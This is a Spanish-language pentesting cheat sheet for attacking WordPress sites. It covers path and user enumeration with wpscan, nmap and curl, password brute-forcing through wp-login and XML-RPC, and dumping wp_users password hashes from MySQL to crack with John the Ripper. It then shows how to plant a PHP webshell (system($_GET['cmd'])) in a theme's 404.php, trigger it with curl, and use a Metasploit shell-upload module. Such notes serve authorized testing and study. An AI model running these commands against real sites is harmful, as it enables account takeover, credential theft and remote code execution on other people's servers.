WordPress

Principales rutas y archivos

  • General:

    • /index.php

    • /wp-config.php= información requerida por WordPress para conectarse a la base de datos.

    • /wp-content/ = directorio principal donde se almacenan los complementos y los temas.

    • /wp-content/uploads/

    • /wp-content/plugins/

    • /wp-content/themes/

    • xmlrpc.php

  • Inicio de sesión:

    • /wp-admin/login.php

    • /wp-admin/wp-login.php

    • /login.php

    • /wp-login.php

  • /license.txt

  • /readme.html

Roles de usuarios

RolDescripción

Administrator

Tienen acceso a funciones administrativas dentro del sitio web. Esto incluye agregar y eliminar usuarios y publicaciones, así como editar el código fuente.

Editor

Pueden publicar y administrar publicaciones, incluidas las publicaciones de otros usuarios.

Author

Pueden publicar y administrar sus propias publicaciones.

Contributor

Pueden escribir y administrar sus propias publicaciones, pero no pueden publicarlas.

Subscriber

Son usuarios normales que pueden buscar publicaciones y editar sus perfiles.

Enumeración

General

wpscan --url http://<target>/ --api-token <api-token> -o wpscan.txt
  • --url = URL (Uniform Resource Locator).

    • <target> = objetivo.

  • --api-token = API token (https://wpscan.com/).

    • <api-token> = API token.

  • -o = guarda resultado del escaneo en archivo wpscan.txt.

Nmap

nmap -p 80,443 --script http-wordpress-enum --script-args check-latest=true,search-limit=250 <target>
  • -p 80,443 = puertos 80/TCP y 443/TCP.

  • --script http-wordpress-enum = enumeración general.

    • check-latest=true: recupera información de la versión más reciente del plugin desde wordpress.org.

    • search-limit=200: limite de búsqueda de 250 temas y plugins.

  • <target> = objetivo.

cURL

Obtención de número de versión de Wordpress.

curl -s -X GET http://<target> | grep '<meta name="generator"'

Usuarios

WPScan

wpscan --url http://<target>/ --enumerate u -o wpscan-user.txt
  • --url = URL (Uniform Resource Locator).

    • <target> = objetivo.

  • --enumerate u = enumeración de usuarios.

  • -o = guarda resultado del escaneo en archivo wpscan-user.txt.

Nmap

nmap -p 80,443 --script http-wordpress-users --script-args limit=50 <target>
  • -p 80,443 = puertos 80/TCP y 443/TCP.

  • --script http-wordpress-users = enumeración de usuarios.

    • --script-args limit=50: limite de búsqueda por los primeros 50 ID de usuarios.

  • <target> = objetivo.

cURL

Enumeración por nombre de usuario.

curl -s -o /dev/null -w "%{http_code}\n" http://<target>/author/<username>
  • <target> = objetivo.

  • <username> = nombre de usuario.

Enumeración de usuarios desde listado.

for i in $(cat <path-usernames>); \
do curl -s -o /dev/null -w "%{http_code}:$i\n" \
http://<target>/author/$i; done
  • <path-usernames> = ruta de usuarios.

  • <target> = objetivo.

Enumeración de usuarios por ID.

for i in {1..10}; \
do curl -L -s http://<target>/?author=$i \
| grep -iPo '(?<=<title>)(.*)(?=</title>)' \
| cut -f1 -d" " | grep -v "Page"; done

JSON endpoint.

curl http://<target>/wp-json/wp/v2/users | jq

Plugins

Desactivar un plugin vulnerable no mejora la seguridad del sitio de WordPress. Es una buena práctica eliminar o mantener actualizados los complementos no utilizados.

Si un plugin está desactivado, aún puede ser accesible y, por lo tanto, podemos obtener acceso a sus scripts y funciones asociados.

Revisión manualmente de ruta de plugins.

http://<target>/wp-content/plugins/

WPScan

wpscan --url http://<target>/ --enumerate p
  • --url = URL (Uniform Resource Locator).

    • <target> = objetivo.

  • --enumerate p = enumeración de plugins.

Nmap

nmap -p 80,443 --script http-wordpress-enum --script-args type="plugins",check-latest=true,search-limit=250 <target>
  • -p 80,443 = puertos 80/TCP y 443/TCP.

  • --script http-wordpress-enum = enumeración general.

    • type="themes" = enumeración de temas.

    • check-latest=true: recupera información de la versión más reciente del plugin desde wordpress.org.

    • search-limit=200: limite de búsqueda de 250 plugins.

  • <target> = objetivo.

cURL

curl -s -X GET http://<target> | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-content/plugins/*' | cut -d"'" -f2

Themes

cURL

curl -s -X GET http://<target> | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'themes' | cut -d"'" -f2

XML-RPC

Verificación de XML-RPC activo.

  • /xmlrpc.php

curl -X POST http://<target>/xmlrpc.php \
-H "Content-Type: application/xml" \
-H "Accept: application/xml" \
-d "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"

Ataques de contraseñas

Usuarios

WPScan

Método "wp-login".

wpscan --password-attack wp-login --url http://<target>/ --usernames <user-01,user-02,user-03> --passwords <path-passwords>
  • --password-attack = wp-login.

  • --url = URL (Uniform Resource Locator).

    • <target> = objetivo.

  • --usernames = usuarios.

    • <user-01, user-02, user-03> = usuario 01, usuarios 02, usuario 03, etc.

  • --passwords = contraseñas.

    • <path-passwords> = ruta de archivo con listado de contraseñas.

Método "xmlrpc".

wpscan --password-attack xmlrpc --url http://<target>/ --usernames <user-01,user-02,user-03> --passwords <path-passwords>
  • --password-attack = xmlrpc.

  • --url = URL (Uniform Resource Locator).

    • <target> = objetivo.

  • --usernames = usuarios.

    • <user-01, user-02, user-03> = usuario 01, usuarios 02, usuario 03, etc.

  • --passwords = contraseñas.

    • <path-passwords> = ruta de archivo con listado de contraseñas.

cURL

Utilizando XML-RPC (/xmlrpc.php).

curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>{user}</value></param><param><value>{password}</value></param></params></methodCall>" http://<target>/xmlrpc.php
  • {user} = usuario.

  • {password} = contraseña.

  • <target> = objetivo.

Cracking de contraseñas de usuarios en base de datos

MySQL CLI

mysql --user=<user> --password=<password> --host=<target>
show databases;
use wordpress;
show tables;
describe wp_users;
select user_login, user_pass from wp_users;
select concat_ws(':', user_login, user_pass) from wp_users;

John the Ripper

john hashes.txt --wordlist=<path-wordlist>

Upload reverse shell

Theme

Se recomienda seleccionar un theme inactivo, así evitar corromper el theme principal que se encuentra en uso.

Modificación de theme.

  • wp-admin -> Appearance -> Theme Editor -> Select theme to edit -> 404 Template (404.php)

Código webshell PHP
system($_GET['cmd']);

Ejecución de webshell.

curl -X GET "http://{target}/wp-content/themes/<theme-name>/404.php?cmd=id"

Plugin

  • wp-admin -> Plugins -> Plugin Editor -> file.php

    • Activar plugin.

Metasploit Framework (MSF)

use exploit/unix/webapp/wp_admin_shell_upload

Última actualización